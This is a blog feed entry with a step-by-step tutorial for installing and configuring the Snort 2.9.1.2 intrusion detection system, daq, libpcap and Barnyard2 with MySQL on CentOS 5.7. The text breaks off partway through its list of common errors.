scheme='http://www.blogger.com/atom/ns#' term='barnyard'/><category scheme='http://www.blogger.com/atom/ns#' term='yum'/><category scheme='http://www.blogger.com/atom/ns#' term='daq'/><title type='text'>Installing Snort 2.9.1.2 on CentOS 5.7</title><content type='html'>CentOS 5.7 uses an older version of libpcap (0.9.4), but Snort's Data Acquisition Library (daq) needs a newer version of libpcap (&amp;gt;=1.0.0). The latter is not an issue with the CentOS 6.0. Vishesh Kumar &lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[1]&lt;/span&gt; provides an excellent instructions to getting Snort 2.9 to run on RHEL 5 (&lt;a href="http://www.linuxmantra.com/2010/10/install-snort-29-on-rhel-5.html"&gt;http://www.linuxmantra.com/2010/10/install-snort-29-on-rhel-5.html&lt;/a&gt;). The purpose of this post is not to duplicate his efforts, but to extend it slightly to include instructions for a complete Snort set-up.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;libpcap - http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz &lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[3]&lt;/span&gt;&lt;/li&gt;&lt;li&gt;daq : http://www.snort.org/downloads/1221 &lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[2]&lt;/span&gt;&lt;/li&gt;&lt;li&gt;snort :&amp;nbsp;http://www.snort.org/downloads/1207 &lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[2]&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;Download and install the libraries and software as per the instructions below;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Enable the Extra Packaged for Enterprise Linux (EPEL) repository to enable the installation of additional packages not available under the standard repositories&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;rpm -Uvh&amp;nbsp;http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;yum -y update&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;yum -y upgrade&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;I&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;nstall developments to compile the libraries and source code, and additional libraries and header files that are required later on&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;yum -y groupinstall 'Development Tools'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;yum -y install pcre-devel&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;yum -y install libdnet-devel&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;yum -y install zlib-devel&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;yum -y install mysql mysql-server mysql-devel mysql-bench&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Download, compile and install libpcap&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="color: black; line-height: normal;"&gt;wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="color: black; line-height: normal;"&gt;cd&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;libpcap-1.1.1&lt;/li&gt;&lt;li&gt;./configure --prefix=/usr&lt;/li&gt;&lt;li&gt;make &amp;amp;&amp;amp; make install&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Download, compile and install daq&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;wget&amp;nbsp;&lt;a href="http://www.snort.org/downloads/1221"&gt;http://www.snort.org/downloads/1221&lt;/a&gt;&amp;nbsp;-O daq-0.6.2.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;cd&amp;nbsp;daq-0.6.2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;./configure&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;make &amp;amp;&amp;amp; make install&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Download, compile and install snort&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;wget&amp;nbsp;&lt;a href="http://www.snort.org/downloads/1207"&gt;http://www.snort.org/downloads/1207&lt;/a&gt;&amp;nbsp;-O snort-2.9.1.2.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;cd&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;snort-2.9.1.2&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;./configure --with-mysql&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;make &amp;amp;&amp;amp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;make instal&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;l&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Download, compile and install Barnyard2&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;wget --no-check-certificate https://github.com/firnsy/barnyard2/tarball/master -O&amp;nbsp;firnsy-barnyard2-405761e.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;tar zxvf&amp;nbsp;firnsy-barnyard2-405761e.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;cd&amp;nbsp;firnsy-barnyard2-405761e&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;./autogen.sh&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;./configure --with-mysql&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;make &amp;amp;&amp;amp; make install&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Create the snort database on the mysql enginer&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;mysqladmin -u root -p create snort&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;mysql -u root -p -D snort &amp;lt; schemas/create_mysql&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;mysql -u root -p&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;GRANT CREATE,INSERT ON root.* TO snort@localhost IDENTIFIED BY &lt;i&gt;'&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;PASSWORD&lt;sql_passwd&gt;&lt;/sql_passwd&gt;&lt;/span&gt;'&lt;/i&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;GRANT CREATE,INSERT,SELECT,DELETE,UPDATE ON snort.* TO snort@localhost IDENTIFIED BY &lt;i&gt;'&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;PASSWORD&lt;sql_passwd&gt;&lt;/sql_passwd&gt;&lt;/span&gt;'&lt;/i&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;To get the current&amp;nbsp;registered&amp;nbsp;user rules, you need to sign up and obtain an Oinkcode. The Oinkcode will be used for downloading the rules and used with pulledpork.&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Sign in or request an account from&amp;nbsp;&lt;a href="https://www.snort.org/login"&gt;https://www.snort.org/login&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;Get your oinkcode after signing in from&amp;nbsp;&lt;/span&gt;&lt;a href="https://www.snort.org/account/oinkcode"&gt;https://www.snort.org/account/oinkcode&lt;/a&gt;&lt;/li&gt;&lt;li&gt;cd etc&lt;/li&gt;&lt;li&gt;wget http://www.snort.org/reg-rules/snortrules-snapshot-&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;latest&gt;&lt;/latest&gt;&lt;/span&gt;&lt;/i&gt;.tar.gz/&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;i&gt;OINKCODE&lt;/i&gt;&lt;/span&gt;&amp;nbsp;-O snortrules-snapshot-&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;i&gt;LATEST&lt;/i&gt;&lt;/span&gt;.tar.gz&lt;/li&gt;&lt;li&gt;tar zxvf&amp;nbsp;snortrules-snapshot-&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;i&gt;LATEST&lt;/i&gt;&lt;/span&gt;.tar.gz&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;Setup the configuration and rules files for snort&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;mkdir -p /etc/snort&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;mv -f etc/* .&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;rmdir etc/&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;mv&amp;nbsp;&lt;/span&gt;snortrules-snapshot-&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;i&gt;LATEST&lt;/i&gt;&lt;/span&gt;.tar.gz ../../&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;rm -f Makefile&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;Makefile.am &lt;/span&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;Makefile.in&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;cp -rf * /etc/snort/&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;Edit the snort configuration&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;vi /etc/snort/snort.conf&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;ipvar HOME_NET &lt;i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;localnet&gt;&lt;/localnet&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;var RULE_PATH rules&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;var SO_RULE_PATH so_rules&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;var PREPROC_RULE_PATH preproc_rules&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;output database: log, mysql, user=snort password=&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;PASSWORD&lt;sql_passwd&gt;&lt;/sql_passwd&gt;&lt;/span&gt;&lt;/i&gt; dbname=snort host=localhost&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;output alert_syslog: LOG_LOCAL6 LOG_ALERT&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Edit the syslog.conf file to log alerts to separate file and restart the syslog daemon&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;Include the line in syslog.conf "local6.* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/var/log/snort/alerts.log"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;/etc/rc.d/init.d/syslog restart&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;Test the snort installation, and set-up environment to run snort if all OK&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;snort -c /etc/snort/snort.conf -T&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;useradd -G snort snort -s /bin/false&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;chown -R root:snort /var/log/snort&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;chmod -R g+w /var/log/snort&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Configure barnyard &lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[4]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;mkdir -p /var/log/barnyard2&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;chmod 666 /var/log/barnyard2&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;touch /var/log/snort/barnyard2.waldo&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;cp etc/barnyard2.conf /etc/snort/&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Edit the /etc/snort/barnyard2.conf&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;output database: log, mysql, user=snort password=&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;sql_passwd&gt;&lt;/sql_passwd&gt;&lt;/span&gt;&lt;/i&gt; dbname=snort host=localhost&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;config hostname: &amp;nbsp; localhost&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;config interface: &amp;nbsp;eth0&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;You can get snort to start automatically, but writing a customer script to start/stop/restart the daemon or simply kicking it off to start up when the machine boots. Edit the rc.local file and out the following in&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;/usr/local/bin/snort -D -u snort -g snort -c /etc/snort/snort.conf -i eth0&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #111111; line-height: 18px;"&gt;/usr/local/bin/barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.log -w /var/log/snort/barnyard2.waldo -D&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;u&gt;Common Errors:&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;ERROR: parser.c(5261) Could not stat dynamic module path "/usr/local/lib/snort_dynamicrules": No such file or directory.&lt;br /&gt;Fatal Error, 